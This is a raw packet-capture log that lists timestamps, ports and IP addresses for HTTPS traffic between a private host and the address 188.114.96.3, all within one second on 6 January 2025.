Jan 6, 2025 13:56:33.076525927 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.086184025 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.114970922 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.114998102 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.115082979 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.115092039 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.115117073 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.115140915 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.165873051 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.165891886 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.165951014 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.165961027 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.166007996 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.166007996 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.166101933 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.166122913 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.166174889 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.166186094 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.166197062 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.166237116 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.166377068 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.166395903 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.166512966 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.166512966 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.166521072 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.166557074 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.166764021 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.166790009 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.166837931 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.166843891 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.166867971 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.166914940 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.167020082 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.167043924 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.167082071 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.167088032 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.167104006 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.167154074 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.167309046 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.167330980 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.167397976 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.167398930 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.167408943 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.167474031 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.167735100 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.167759895 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.167824030 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.167831898 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.167855978 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.167875051 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.168246984 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.206598997 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.206619978 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.206690073 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.206696987 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.206717968 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.206764936 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.257488966 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.257514000 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.257596970 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.257610083 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.257631063 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.257641077 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.257657051 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.257685900 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.257685900 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.257704973 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.257726908 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.257805109 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.258158922 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.258177042 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.258239031 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.258245945 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.258269072 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.258286953 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.258291960 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.258302927 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.258333921 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.258333921 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.258371115 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.258724928 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.258740902 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.258829117 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.258835077 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.258853912 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.258872032 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.258879900 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.258892059 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.258903027 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.258955002 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.259265900 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.259284973 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.259361029 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.259368896 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.259427071 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.259908915 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.298254967 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.298280001 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.298367977 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.298377037 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.298412085 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.298428059 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.349113941 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.349143028 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.349203110 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.349211931 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.349236965 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.349261045 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.349397898 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.349415064 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.349466085 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.349473000 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.349495888 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.349554062 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.349726915 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.349749088 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.349822998 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.349831104 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.349879980 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.350032091 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.350054026 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.350086927 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.350092888 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.350116968 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.350147963 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.350363016 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.350385904 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.350425005 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.350440979 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.350474119 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.350512981 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.350655079 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.350672007 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.350738049 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.350745916 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.350792885 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.351017952 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.351036072 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.351108074 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.351114988 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.351186991 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.351690054 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.389931917 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.389951944 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.390007019 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.390014887 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.390058994 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.390058994 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.440859079 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.440877914 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.440953970 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.440962076 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.441001892 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.441001892 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.441086054 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.441106081 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.441149950 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.441155910 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.441185951 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.441185951 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.441569090 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.441591024 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.441668987 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.441668987 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.441675901 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.441750050 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.441812992 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.441829920 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.441884995 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.441891909 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.441998959 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.442127943 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.442143917 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.442195892 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.442203045 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.442245960 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.442344904 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.442362070 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.442400932 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.442406893 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.442451000 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.442451000 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.442600965 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.442730904 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.442748070 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.442795992 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.442800999 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.442811966 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.442874908 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.443758011 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.481590033 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.481614113 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.481688023 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.481698990 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.481722116 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.481749058 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.532869101 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.532887936 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.532955885 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.532955885 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.532968998 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.533035040 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.533263922 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.533272028 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.533344984 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.533353090 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.533411980 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.533516884 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.533545971 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.533590078 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.533596992 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.533607960 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.533636093 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.533672094 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.533690929 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.533725023 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.533731937 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.533759117 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.533775091 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.533804893 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.533823013 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.533863068 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.533869982 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.533919096 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.533983946 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.534001112 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.534039021 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.534044981 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.534096003 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.534096003 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.534327030 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.534348965 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.534414053 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.534414053 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.534420967 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.534486055 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.540322065 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.573406935 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.573431015 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.573498964 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.573508978 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.573538065 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.573554993 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.624603033 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.624623060 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.624691963 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.624703884 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.624748945 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.624748945 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.625047922 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.625073910 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.625107050 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.625113964 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.625144958 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.625169992 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.625230074 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.625246048 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.625286102 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.625292063 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.625309944 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.625332117 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.625329971 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.625329971 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.625351906 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.625370026 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.625410080 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.625583887 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.625603914 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.625652075 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.625658989 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.625731945 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.625735044 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.625742912 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.625747919 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.625778913 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.625787973 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.625797987 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.625860929 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.626074076 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.626095057 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.626162052 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.626169920 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.626219034 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.626593113 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.665086985 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.665103912 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.665157080 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.665165901 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.665193081 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.665211916 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.715852022 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.715874910 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.715923071 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.715929985 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.715965033 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.715977907 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.716264009 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.716281891 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.716356993 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.716356993 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.716365099 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.716408968 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.716535091 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.716553926 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.716612101 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.716618061 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.716658115 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.716809988 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.716829062 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.716881037 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.716890097 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.716898918 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.716932058 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.717044115 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.717062950 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.717117071 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.717123032 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.717154980 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.717154980 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.717432976 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.717452049 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.717483997 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.717492104 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.717528105 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.717528105 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.717725992 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.717745066 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.717786074 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.717791080 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.717822075 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.717822075 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.719161034 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.756822109 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.756844997 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.756913900 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.756922007 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.756958961 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.757000923 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:33.807570934 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:33.807594061 CET	443	49986	188.114.96.3	192.168.2.5
